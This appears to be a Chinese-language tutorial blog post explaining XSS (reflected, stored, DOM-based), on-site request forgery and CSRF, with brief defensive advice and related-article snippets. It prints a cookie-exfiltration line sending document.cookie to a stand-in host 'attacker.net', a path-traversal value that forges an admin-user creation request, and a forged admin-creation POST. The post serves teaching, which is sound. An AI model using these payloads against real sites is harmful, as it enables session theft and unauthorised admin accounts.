摘要:請求偽造在跨站攻擊中,攻擊者需要獲得受害者的會話令牌,請求偽造也與會話劫持相關(guān),但是攻擊者不需要知道受害者的會話令牌,就能夠行駛受害者的權(quán)利。
差不多剛開始接觸前端的時候,經(jīng)常能看到一些早幾年入行大牛們的簡歷,幾乎所有人都會在簡歷中帶上這么一句話:具備基本的 Web 安全知識(XSS / CSRF)。顯然這已經(jīng)成為前端人員的必備知識。
非常懷念那個 SQL 注入還沒有被普遍認可的年代,雖然這么多年過去了,SQL 注入并沒有消失,仍然是最危險的漏洞。關(guān)于 SQL 注入的原理,可以看我之前寫的文章SQL 注入詳解。今天是主題是 Web 安全的另外兩大殺手,XSS 和 CSRF。
XSS 的分類XSS 漏洞有多種形式,分為三類,反射型、保存型和基于 DOM 的 XSS 攻擊。這些漏洞的基本原理都是一樣的,但是確定和利用漏洞方面又存在很大的差異,下面將對這三種漏洞詳細介紹。
反射型 XSS 漏洞前面廢話一大堆,還是沒有說 XSS 漏洞到底是什么。如果一個 Web 程序可以動態(tài)的顯示用戶的錯誤消息,就有可能會產(chǎn)生反射型漏洞。
用戶瀏覽網(wǎng)頁時發(fā)送錯誤,向服務(wù)器請求 URL,比如www.xxx.com/error.php?message=sorry,an error occurred,然后服務(wù)器根據(jù)得到的 message,不進行過濾,復(fù)制到錯誤頁面的模板中:
sorry,an error occurred
,返回給用戶。這個漏洞有一個顯著的特征,應(yīng)用程序沒有進行任何過濾或凈化措施,就非常容易受到攻擊。www.xxx.com/error.php?message=,當用戶打開錯誤頁面時,就會出現(xiàn)
,彈出一個消息框。顯然,攻擊人員不會很傻的僅僅 alert 一些消息,在 IE 中,如果開啟跨站點腳本檢測可能無法彈出消息。通常 XSS 都會伴隨著會話劫持,攻擊者截獲通過驗證的用戶的會話令牌。劫持用戶的會話后,攻擊者就可以訪問該用戶授權(quán)訪問的所有數(shù)據(jù)和功能。
比如攻擊者構(gòu)造一個這樣的 URL,message 信息如下
var i = new Image; i.src="http://attacker.net/"+document.cookie;
這樣被攻擊者通過訪問這個惡意的 URL,就會把 cookie 發(fā)送給黑客,黑客截獲 cookie,就能執(zhí)行用戶的任意操縱。下圖是一個簡易的流程圖:
這個圖還有一個重要的點沒有標明出來,就是前提是受害者要先登錄到 Bank.com 的網(wǎng)站上。
由于瀏覽器的同源策略,直接向 attacker.net 發(fā)送 document.cookie 是無法獲得 www.xxx.com 的 cookie,因為瀏覽器會對不同源(域)的內(nèi)容進行隔離,這就是該漏洞被稱為跨站腳本的原因。
保存型 XSS 漏洞保存型跨站腳本也是比較常見的漏洞,腳本通常保存在后端數(shù)據(jù)庫中,不經(jīng)過濾就存儲并且顯示給用戶,此時就會出現(xiàn)這種漏洞。
與反射型的流程不同的是,保存型需要向服務(wù)器提出至少兩次請求,第一次將含有惡意代碼的數(shù)據(jù)提交給服務(wù)器,服務(wù)器將數(shù)據(jù)保存,第二次是受害者想服務(wù)器提出訪問含有惡意代碼數(shù)據(jù)的頁面,惡意代碼執(zhí)行。
與反射型不同的是,保存型不需要一個專門設(shè)計的 URL 來接收 cookie,只需要將含有惡意代碼的頁面發(fā)給用戶,等待受害者訪問即可。不過,也可用保存型的漏洞來獲取用戶 cookie 進行劫持。
還有一個不同點,反射型的漏洞,必須要等受害者登陸后,才能保證 cookie 的正常獲得,而保存型的漏洞,受害者一般是先登錄,然后訪問改站點有危險的頁面。
舉一個例子,比如某社交論壇存在保存型的 XSS 漏洞,黑客將自己的個人信息一欄修改成惡意的 JS 代碼,改代碼實現(xiàn)兩個功能,首先受害者加自己為好友,其次修改受害者的個人信息為該惡意代碼。黑客把個人信息保存并提交給服務(wù)器,只需要等受害者訪問自己的個人信息頁面,瀏覽器就會執(zhí)行該惡意腳本,于是可怕的“蠕蟲”就開始了。
基于 DOM 的 XSS 漏洞前兩種 XSS 漏洞,都表現(xiàn)一種特殊的模式,就是應(yīng)用程序提取數(shù)據(jù)并返回給受害者,而基于 DOM 的 XSS 不具有這種特點,攻擊者是借助于 JavaScript 來展開攻擊的。
用戶請求一個經(jīng)過專門設(shè)計的 URL,由攻擊者提交,包括嵌入式的 JavaScript;
服務(wù)器的響應(yīng)不包含任何攻擊者的腳本,同時服務(wù)器也不會對 URL 進行檢測;
當用戶瀏覽這個響應(yīng)時,腳本得以處理。
與反射型漏洞類似,都是對 URL 進行特殊構(gòu)造,不同的是,反射型是由服務(wù)器處理 URL,而 DOM 型是由 JavaScript 腳本來處理。還以剛才那個反射型為例子,假設(shè)應(yīng)用程序返回的錯誤頁面包含以下 JS 腳本:
同樣給受害者發(fā)送這樣的鏈接 www.xxx.com/error.php?message=,也可以開展 XSS 漏洞攻擊?;?DOM 的漏洞不局限與 URL,還可以是頁面某個 DOM 的內(nèi)容,這和存儲型的 XSS 又聯(lián)系到一起。
這個時候就需要些 JS 的同學(xué)小心謹慎了,萬一寫出含有漏洞的代碼,這鍋得自己背。
請求偽造在 XSS 跨站攻擊中,攻擊者需要獲得受害者的會話令牌,請求偽造也與會話劫持相關(guān),但是攻擊者不需要知道受害者的會話令牌,就能夠行駛“受害者”的權(quán)利。請求偽造有兩種,本站點請求偽造(OSRF)和跨站點請求偽造(CSRF),
OSRFOSRF 是一種利用保存型 XSS 漏洞的攻擊載荷,如果在得知應(yīng)用程序?qū)?XSS 漏洞過濾的情況下,可以嘗試 OSRF 攻擊。
比如這是一個某站點 POST 請求,該站點過濾 XSS 攻擊,
POST /submit.php Host: xxx.com Content-Length: .. type=question&name=ge&message=mes
然后該信息將會被插入到如下的 HTML 中:
ge mes
這個漏洞很容易利用,直接用 type 的值來表示 jpg 的name,然后我們構(gòu)造 type 的值等于下面的內(nèi)容(這不就是利用路徑來搞事嗎),
../admin/newuser.php?username=test&password=123&role=admin#
使用上面的介紹,相對應(yīng)的構(gòu)造一個表單提交,創(chuàng)建一個管理員權(quán)限的用戶,普通用戶點擊是不會成功的,因為權(quán)限不夠,但是如果是管理員點擊該鏈接的話,就會創(chuàng)建一個秘密賬戶,所以,即時對 URL 禁用了 JavaScript 腳本,還是可以通過 OSRF 攻擊成功。
在攻擊字符串的最后使用了 # ,是為了對 .jpg 進行屏蔽,也可以添加 & 組成另一個參數(shù)。
以上便是一個簡單的本站點請求偽造的例子。
CSRF跨站點請求偽造才是跨站偽造的重點內(nèi)容,攻擊者只需要創(chuàng)建一個看似無害的網(wǎng)站,致使受害者的瀏覽器直接向易受攻擊的服務(wù)器提交一個請求,執(zhí)行惡意代碼。
仍然需要考慮同源策略,仍然以管理員創(chuàng)建新用戶為例,
POST /newUser.php HTTP/1.1 Host: xxx.com Cookie: SessionId=... Content-Length: .. name=ro&userrole=admin&password=123456&confirmpassword=123456
黑客構(gòu)造的網(wǎng)站會提交一個 form 表單,并想辦法讓 form 隱藏:
<
當管理員已經(jīng)登陸的情況下,訪問這個惡意網(wǎng)站的時候,就會提交這段腳本,管理員都不知情。因為管理員已經(jīng)登陸,無需考慮 Cookie 的問題,一個簡單的 CSRF 如此。
總結(jié)其實攻擊很簡單,主要的還是如何防御,比如
對一些關(guān)鍵字和特殊字符進行過濾或 URL、HTML 編碼,"<>?"或"script,javascript";
Cookie 防盜,在 Cookie 中防止放入用戶名和密碼,對 Cookie 信息進行 MD5 等算法進行多次散列存放,必要時還要對 ip 和 cookie 進行綁定,一旦檢測異常,立馬讓用戶重新登錄;
嚴格控制 URL 訪問,對于一些掛馬的 ip 和域名,強制無法訪問;
等等
共勉。
參考跨站腳本攻擊介紹
那些年我們一起學(xué) XSS
總結(jié) XSS 與 CSRF 兩種跨站攻擊
書籍:《黑客攻防技術(shù)寶典 Web實戰(zhàn)篇》
歡迎來我博客交流。
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://www.ezyhdfw.cn/yun/91201.html
摘要:但最近又聽說了另一種跨站攻擊,于是找了些資料了解了一下,并與放在一起做個比較。腳本中的不速之客全稱跨站腳本,是注入攻擊的一種。 XSS:跨站腳本(Cross-site scripting) CSRF:跨站請求偽造(Cross-site request forgery) 在那個年代,大家一般用拼接字符串的方式來構(gòu)造動態(tài) SQL 語句創(chuàng)建應(yīng)用,于是 SQL 注入成了很流行的攻擊方式。...
摘要:它允許惡意用戶將代碼注入到網(wǎng)頁上,其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了以及用戶端腳本語言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶發(fā)起的請求,都可成為攻擊。 這兩個關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個關(guān)鍵詞時常被拉出來一起比較(尤其是面試),我在這里也在寫一篇掃盲文,也幫自己整理一下知識脈絡(luò)。 這篇文章會用盡量人話的語言解...
摘要:它允許惡意用戶將代碼注入到網(wǎng)頁上,其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了以及用戶端腳本語言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶發(fā)起的請求,都可成為攻擊。 這兩個關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個關(guān)鍵詞時常被拉出來一起比較(尤其是面試),我在這里也在寫一篇掃盲文,也幫自己整理一下知識脈絡(luò)。 這篇文章會用盡量人話的語言解...
摘要:可能造成危害利用已通過認證的用戶權(quán)限更新設(shè)定信息等利用已通過認證的用戶權(quán)限購買商品利用已通過的用戶權(quán)限在留言板上發(fā)表言論。二說說你說了解的前端性能優(yōu)化方面減少請求合并文件精靈減少查詢查詢完成之前瀏覽器不能從這個主機下載任何任何文件。 一、說說你所知道的web安全及防護措施 常用攻擊手段:SQL注入、XSS(Cross Site Script),跨站腳本攻擊、CSRF(Cross Sit...
閱讀 1950·2023-04-26 00:47
閱讀 1627·2021-11-11 16:55
閱讀 2799·2021-09-27 14:04
閱讀 3638·2021-09-22 15:58
閱讀 3617·2021-07-26 23:38
閱讀 2197·2019-08-30 13:47
閱讀 2041·2019-08-30 13:15
閱讀 1244·2019-08-29 17:09